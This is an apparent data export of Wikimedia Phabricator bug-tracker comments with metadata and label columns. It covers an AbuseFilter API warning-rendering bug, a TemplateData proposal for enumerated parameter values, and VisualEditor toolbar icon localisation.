+**Attached**: {F11585}",High,80.0,1373926620,1373987022.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-6s22kiygdurpmwpk3lqs,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+246097,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property",We will deploy this fix today.,,,1373987077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+246089,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Change 73895 merged by jenkins-bot:
+Really parse the API warning in the APIEditBeforeSave hook
+
+https://gerrit.wikimedia.org/r/73895",,,1373945021,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246082,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","(Sorry, if my last comment was unlcear:) Showing the full warning message, I mean.",,,1373930726,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+246074,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","(In reply to comment #2)
+> I don't think this is really what people want to be doing (regardless of
+> whether HTML is being presented by this call or not). Take a look at filter
+> 554
+> on English Wikipedia (http://en.wikipedia.org/wiki/Special:AbuseFilter/554).
+> Note how it triggers a message of abusefilter-top100. That causes the
+> standard
+> wikitext editor to display
+> http://en.wikipedia.org/w/index.php?title=MediaWiki:abusefilter-top100 which
+> explains what's wrong with the edit. That's what you need to display, not the
+> short description (in this case ""top100 blog charts"", which doesn't mean
+> squat
+> to a new editor).
+
+That's exactly what we're trying to do.",,,1373930605,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+246065,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Change 73895 had a related patch set uploaded by Hoo man:
+Really parse the API warning in the APIEditBeforeSave hook
+
+https://gerrit.wikimedia.org/r/73895",,,1373929226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+246055,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","**kwwilliams** wrote:
+
+I don't think this is really what people want to be doing (regardless of whether HTML is being presented by this call or not). Take a look at filter 554 on English Wikipedia (http://en.wikipedia.org/wiki/Special:AbuseFilter/554). Note how it triggers a message of abusefilter-top100. That causes the standard wikitext editor to display http://en.wikipedia.org/w/index.php?title=MediaWiki:abusefilter-top100 which explains what's wrong with the edit. That's what you need to display, not the short description (in this case ""top100 blog charts"", which doesn't mean squat to a new editor).",,,1373928926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+246047,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property",That's because Status::getHTML isn't actually doing real parsing... going to look at this tomorrow,,,1373928143,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+53375,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Sometimes for templates, you have a pre-defined set of values to use for a parameter. Perhaps it could be a nice thing to expose valid values to the user in a drop down or something.",High,80.0,1373910060,,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-eddbh3tcvexylixr6tiy,task_description,open,True,c1,3,False,False,,2,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+1841604,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","we should distinguish between visualeditor and templatedata.
+templatedata provides a syntax to describe the template behavior, and is used not just by visualeditor, but other tools too.
+
+whatever VE decides to do with ""illegal"" values is an interesting question, but TD itself should allow distinction between ""suggested values"" and ""legal values"", because the template syntax itself makes this distinction.  VE can ignore this distinction or not, but TD should provide this information.
+
+suggestedvalues serves templates that use {{#switch, and there are several different behaviors when param value is not present as one of the options: 
+  - the switch may have #default, which does something useful - IOW, an ""unsuggested"" value is still legal
+  - it can have no #default, practically ignoring the value
+  - the #default can trigger an error.
+
+TD syntax should allow better description of the behavior, so, e.g., ""template linting"" tools can detect and flag pages where a template with ""suggested values"" is used with ""unsuggested"" value: it can be an error worth flagging (2nd and 3rd cases above, where suggested values really means legal values), and not flag it for parameters whose behavior match the 1st case. 
+
+this is not a theoretical/hypothetical issue - such tools exist, and are used on several projects (see, e.g., Module:ParamValidator on hewiki and yiwiki).
+
+peace.",,,1641663466,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,444,,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+1684699,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","If I have a template that accepts three values for `foo` and renders an error if given anything else, would the user be able to enter a disallowed value using the ""suggested values"" user interface in such a way that they will not be surprised or dissapointed to see an error in the rendering – after they have saved their changes in the template dialog?
+
+If I understand correctly, the ""suggested value"" feature is about autocompleting and/or recommending values in a free-form input field, and does not intend to add friction, make impossible, or ""power-user only"" to enter other free-form values, e.g. a basic HTML select field with no easy way to break out of it, unless the page had a pre-existing unexpected value that VE would need to accomodate for roundtrip. That is what an ""options"" or ""ENUM"" feature would be like in the end, I think.
+
+Having said that, implementing suggested values first is fine of course. And depending on the kind of user experience you want to deliver, it might even make sense to provide both of these as part of the same single input type, with a toggleable restriction for free-form values (`allowOther: false`?). There are many ways to implement these two features differently and I don't think it's obvious that they'll be similar in logic and look, but it is also possible to make them similar/shared. Whether that's the best UX, I don't know. Something to consider I suppose :)",,,1615828425,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,402,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0
+1684652,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","This can most certainly be closed via {T271825}. While it's not 100% the same, it should be sufficient to resolve the relevant use case.",,,1615826667,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,402,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+1448999,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",">>! In T53375#5769182, @Tacsipacsi wrote:
+> ```lang=json
+> 			{""label"": ..., ""value"": ...},
+> ```
+where the label should be an InterfaceText (i.e. localizable) or null; like all other InterfaceTexts, plain string input should be accepted and transformed by the extension. The value is a plain string, of course.",,,1582479107,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,346,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1
+1417852,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","A suggestion from https://www.mediawiki.org/wiki/Topic:Ve06hyihctm4p86n is to allow labels different from the actual value. It can be stored for example with:
+```lang=json
+""params"": {
+	""key"": {
+		""type"": ...,
+		""values"": [
+			{""label"": ..., ""value"": ...},
+			...
+		]
+	}
+}
+```
+Maybe plain strings should also be allowed for convenience, which could be transformed by the extension to
+```lang=json
+{""label"": null, ""value"": ...}
+```
+form. (I’d also suggest to always display the actual value in addition to the label, but that’s up to the consumers, of course.)",,,1577874176,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,339,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1112189,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 restored by Krinkle:
+[WIP] Add a parameter key to limit possible valid values to a given set
+
+[[https://gerrit.wikimedia.org/r/263655]]",,,1532906726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,264,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+962355,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Is this still on the docket? It's vital. Is there some other way of specifying valid string values in TemplateData (TD)? If not, that would appear to be a large oversight if TD is supposed to help users easily interact with template params",,,1510282456,,PHID-USER-ruf4kh5stzv33ntxol2w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,227,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+957154,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",It would also be useful to be able to use a set of possible values provided by some template/module.,,,1509551476,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,226,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+955145,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","That's something which would be extremely useful.
+
+I'm currently working on a proposal for ease Wikitionary contribution through templatedata. Such a feature would for example allow to select word category (verb, adjective…). ",,,1509222111,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,225,,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+787891,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 abandoned by Alex Monk:
+[WIP] Add a parameter key to limit possible valid values to a given set
+
+[[https://gerrit.wikimedia.org/r/263655]]",,,1483653112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+589170,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 had a related patch set uploaded (by Alex Monk):
+[WIP] Add a parameter key to limit possible valid values to a given set
+
+[[https://gerrit.wikimedia.org/r/263655]]
+",,,1452629730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,132,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+444533,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",">>! In T53375#564935, @Krinkle wrote:
+>  params: {
+>   ""key"": {
+>     ""type"": ...
+>     ""values"": [ .. ]
+
+Seems a good way of specifying it, +1",,,1429186483,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,93,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,0,0,1
+1658584,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.
+
+```
+ params: {
+  ""key"": {
+    ""type"": ...
+    ""values"": [ .. ]
+```
+
+The upside is that this is easier to specify and validate.
+
+An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).
+
+Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.
+
+But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.
+
+As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.
+
+The type-restricted implementation would look something like this:
+
+```
+ params: {
+  ""key"": {
+    ""type"": ""options""
+    ""values"": [ .. ]
+```
+
+And would treat them as type: 'string' with no further type association.
+
+It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1612418862,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,396,,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+434600,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.
+
+ params: {
+  ""key"": {
+    ""type"": ...
+    ""values"": [ .. ]
+
+The upside is that this is easier to specify and validate.
+
+An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).
+
+Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.
+
+But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.
+
+As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.
+
+The type-restricted implementation would look something like this:
+
+ params: {
+  ""key"": {
+    ""type"": ""options""
+    ""values"": [ .. ]
+
+And would treat them as type: 'string' with no further type association.
+
+It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1427614715,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,90,,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+244445,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.
+
+params: {
+  ""key"": {
+    ""type"": ...
+    ""values"": [ .. ]
+
+The upside is that this is easier to specify and validate.
+
+An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).
+
+Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.
+
+But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.
+
+As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.
+
+The type-restricted implementation would look something like this:
+
+params: {
+  ""key"": {
+    ""type"": ""options""
+    ""values"": [ .. ]
+
+And would treat them as type: 'string' with no further type association.
+
+It also has the downside of having a ""param"" property (values) that only makes sense in combination with another. Making it slightly less intuitive.",,,1400616112,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,46,,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+244441,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",*** Bug 52754 has been marked as a duplicate of this bug. ***,,,1377830925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244435,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","(In reply to comment #2)
+> Ping @TrevorParscal.
+> 
+> Since wikitext template editing will always be possible, we can't (yet?)
+> enforce values in VisualEditor. We can only suggest.
+> 
+> E.g. if a template parameter ""foo"" is specified as values: ['a', 'b']. and
+> wikitext has {{echo|foo=x}}, we need to provide a way to edit that, while
+> still
+> being able to set it to a or b.
+
+The ""normal"" way is a drop-down with the target of the drop-down being a free-entry text field that suggests entries (but does not block other entries).",,,1377657781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+244428,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",*** Bug 50760 has been marked as a duplicate of this bug. ***,,,1377559681,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244420,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Ping @TrevorParscal.
+
+Since wikitext template editing will always be possible, we can't (yet?) enforce values in VisualEditor. We can only suggest.
+
+E.g. if a template parameter ""foo"" is specified as values: ['a', 'b']. and wikitext has {{echo|foo=x}}, we need to provide a way to edit that, while still being able to set it to a or b.",,,1377559666,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1
+244412,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","See ""bug 50760 - Support suggested values"" which is quite similar.
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50760",,,1373968381,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0
+53330,VisualEditor: Set i18n toolbar icons for bold/italics,"Forked from T53314#557160 (bug 51314 comment 2):
+
+The following should be set to use B/I, rather than the generic:
+
+* cs Czech
+* he Hebrew
+* pl Polish
+
+The following should be set to use F/K, rather than the generic:
+
+* da Danish
+* no Norwegian (and nn?)
+* sv Swedish
+",High,80.0,1373840940,1373918452.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-67oipsmostyhug2737rz,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+241917,VisualEditor: Set i18n toolbar icons for bold/italics,This is now done; we'll deploy this within the hour.,,,1373918452,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+241914,VisualEditor: Set i18n toolbar icons for bold/italics,"Change 73850 merged by jenkins-bot:
+Set bold/italics icons for cs/he/pl; da/no/nn/sv
+
+https://gerrit.wikimedia.org/r/73850",,,1373918327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241910,VisualEditor: Set i18n toolbar icons for bold/italics,"Change 73850 had a related patch set uploaded by Jforrester:
+Set bold/italics icons for cs/he/pl; da/no/nn/sv
+
